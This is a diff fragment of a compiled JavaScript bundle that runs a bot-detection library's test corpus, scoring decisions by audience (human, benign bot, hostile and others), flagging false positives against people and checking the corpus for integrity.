+    clearanceCookie = handler.grantClearance(seed, item.clearance)?.split(";")[0];
+  }
+  for (const request of item.requests) {
+    clock.set(startedAt + (request.atMs ?? 0));
+    const withClearance = clearanceCookie === void 0 ? request : { ...request, headers: [...request.headers, ["Cookie", clearanceCookie]] };
+    const facts = toFacts(withClearance, fallbackIp, clock.now());
+    const { assessment, decision, outcome } = await handler.handle(facts);
+    requests.push({ assessment, decision, outcome });
+  }
+  const final = requests[requests.length - 1];
+  const failures = checkExpectations(item, final, assertActions);
+  let falsePositive = false;
+  if (item.audience === "human" && item.selfDeclared === void 0) {
+    for (const [index, result] of requests.entries()) {
+      if (DENYING_ACTIONS.includes(result.decision.action)) {
+        falsePositive = true;
+        failures.push(
+          `FALSE POSITIVE: request ${index + 1}/${requests.length} from a person was ${result.decision.action}ed by rule "${result.decision.rule}" (${result.assessment.verdict}, ${result.assessment.certain ? "proven" : `score ${result.assessment.score}`})`
+        );
+      }
+    }
+  }
+  return { case: item, requests, final, failures, falsePositive, durationMs: performance.now() - began };
+}
+var AUDIENCES = ["human", "benign-bot", "declared-bot", "unwanted-bot", "hostile", "infrastructure"];
+async function runCorpus(options) {
+  const cases = options.cases ?? CORPUS;
+  assertCorpusIntegrity(cases);
+  const startedAt = options.startedAt ?? DEFAULT_START;
+  const clock = new ManualClock(startedAt);
+  let current;
+  const handler = options.create({ resolver: caseResolver(() => current), clock });
+  if (options.applyCorpusRanges !== false) {
+    for (const [id, entries] of Object.entries(CORPUS_CRAWLER_RANGES)) handler.updateCrawlerRanges(id, entries);
+  }
+  const provides = new Set(options.provides ?? []);
+  if (options.applyCorpusRanges !== false) provides.add("crawler-ranges");
+  const began = performance.now();
+  const results = [];
+  for (const item of cases) {
+    current = item;
+    results.push(await runCase(handler, clock, item, startedAt, provides, options.assertActions !== false));
+  }
+  current = void 0;
+  const byAudience = Object.fromEntries(AUDIENCES.map((audience) => [audience, { total: 0, passed: 0, failed: 0, actions: {} }]));
+  const byCategory = {};
+  const detectorCoverage = {};
+  let passed = 0;
+  let provenTotal = 0;
+  let proven = 0;
+  for (const result of results) {
+    if (result.skipped !== void 0) continue;
+    const tally = byAudience[result.case.audience];
+    tally.total++;
+    const action = result.final.decision.action;
+    tally.actions[action] = (tally.actions[action] ?? 0) + 1;
+    const category = byCategory[result.case.category] ??= { total: 0, failed: 0 };
+    category.total++;
+    if (result.failures.length === 0) {
+      passed++;
+      tally.passed++;
+    } else {
+      tally.failed++;
+      category.failed++;
+    }
+    const fired = /* @__PURE__ */ new Set();
+    for (const request of result.requests) {
+      for (const item of [...request.assessment.evidence, ...request.assessment.humanEvidence]) fired.add(item.detector);
+    }
+    for (const detector of fired) detectorCoverage[detector] = (detectorCoverage[detector] ?? 0) + 1;
+    if (result.case.audience !== "human" && result.case.audience !== "infrastructure") {
+      provenTotal++;
+      if (result.final.assessment.certain) proven++;
+    }
+  }
+  const installed = handler.describeDetectors().map((entry) => entry.id);
+  const unexercisedDetectors = installed.filter((id) => detectorCoverage[id] === void 0);
+  const skipped = results.filter((result) => result.skipped !== void 0);
+  return {
+    results,
+    total: results.length - skipped.length,
+    passed,
+    failed: results.length - skipped.length - passed,
+    falsePositives: results.filter((result) => result.falsePositive),
+    selfDeclaredHumans: results.filter((result) => result.case.audience === "human" && result.case.selfDeclared !== void 0),
+    skipped,
+    byAudience,
+    byCategory,
+    detectorCoverage,
+    unexercisedDetectors,
+    provenAutomation: { total: provenTotal, proven },
+    durationMs: performance.now() - began
+  };
+}
+
+// src/corpus/index.ts
+var CORPUS = Object.freeze([
+  ...HUMAN_CASES,
+  ...HUMAN_BROWSER_CASES,
+  ...HUMAN_APP_CASES,
+  ...BENIGN_BOT_CASES,
+  ...REGIONAL_CRAWLER_CASES,
+  ...VERTICAL_CRAWLER_CASES,
+  ...ADVERTISING_EMAIL_CASES,
+  ...CDN_GATEWAY_CASES,
+  ...AI_CRAWLER_CASES,
+  ...UNWANTED_BOT_CASES,
+  ...TOOLING_CASES,
+  ...EXTENDED_LIBRARY_CASES,
+  ...ADVERSARIAL_CASES,
+  ...INFRASTRUCTURE_CASES,
+  ...REPUTATION_CASES
+]);
+var AUDIENCE_STAKES = {
+  human: "A person. Denying one is a customer turned away, and the corpus treats it as a hard failure.",
+  "benign-bot": "Automation you want. Denying one costs search ranking, share previews, or a monitor that lies about being green.",
+  "declared-bot": "Honest automation. How you treat it is a business decision; the library only has to name it correctly.",
+  "unwanted-bot": "Automation most sites decline. Blocking it is safe when \u2014 and only when \u2014 it declared itself.",
+  hostile: "Scanners, forgeries and credential attacks. Denying these is the point.",
+  infrastructure: "Your own machinery. Usually belongs in `ignorePaths` or the allowlist rather than in front of a detector."
+};
+function assertCorpusIntegrity(cases = CORPUS) {
+  const seen = /* @__PURE__ */ new Map();
+  const problems = [];
+  for (const item of cases) {
+    const previous = seen.get(item.id);
+    if (previous) problems.push(`duplicate id "${item.id}" (${previous.title} / ${item.title})`);
+    seen.set(item.id, item);
+    if (item.requests.length === 0) problems.push(`case "${item.id}" has no requests`);
+    if (item.provenance.trim().length === 0) problems.push(`case "${item.id}" has no provenance`);
+    if (!/^[a-z0-9][a-z0-9-]*$/.test(item.id)) problems.push(`case id "${item.id}" is not kebab-case`);
+  }
+  if (problems.length > 0) throw new Error(`Corpus integrity problems:
+  - ${problems.join("\n  - ")}`);
+}
+function casesByAudience(audience, cases = CORPUS) {
+  return cases.filter((item) => item.audience === audience);
+}
+function casesByTag(tag, cases = CORPUS) {
+  return cases.filter((item) => item.tags?.includes(tag) === true);
+}
+function categories(cases = CORPUS) {
+  return [...new Set(cases.map((item) => item.category))].sort();
+}
+export {
+  ADVERSARIAL_CASES,
+  ADVERTISING_EMAIL_CASES,
+  AI_CRAWLER_CASES,
+  AUDIENCE_STAKES,
+  BENIGN_BOT_CASES,
+  BINGBOT_IP,
+  BINGBOT_PTR,
+  CDN_GATEWAY_CASES,
+  CORPUS,
+  CORPUS_CRAWLER_RANGES,
+  DENYING_ACTIONS,
+  EXTENDED_LIBRARY_CASES,
+  GOOGLEBOT_IP,
+  GOOGLEBOT_PTR,
+  HUMAN_APP_CASES,
+  HUMAN_BROWSER_CASES,
+  HUMAN_CASES,
+  INFRASTRUCTURE_CASES,
+  IN_RANGE,
+  OUT_OF_RANGE,
+  PROFILES,
+  PROFILE_NAMES,
+  REGIONAL_CRAWLER_CASES,
+  REPUTATION_CASES,
+  TOOLING_CASES,
+  UNWANTED_BOT_CASES,
+  VERTICAL_CRAWLER_CASES,
+  assertCorpusIntegrity,
+  bot,
+  browser,
+  casesByAudience,
+  casesByTag,
+  categories,
+  crawler,
+  human,
+  humanPaced,
+  plain,
+  repeat,
+  runCorpus,
+  userAgentOf
+};
+//# sourceMappingURL=index.js.map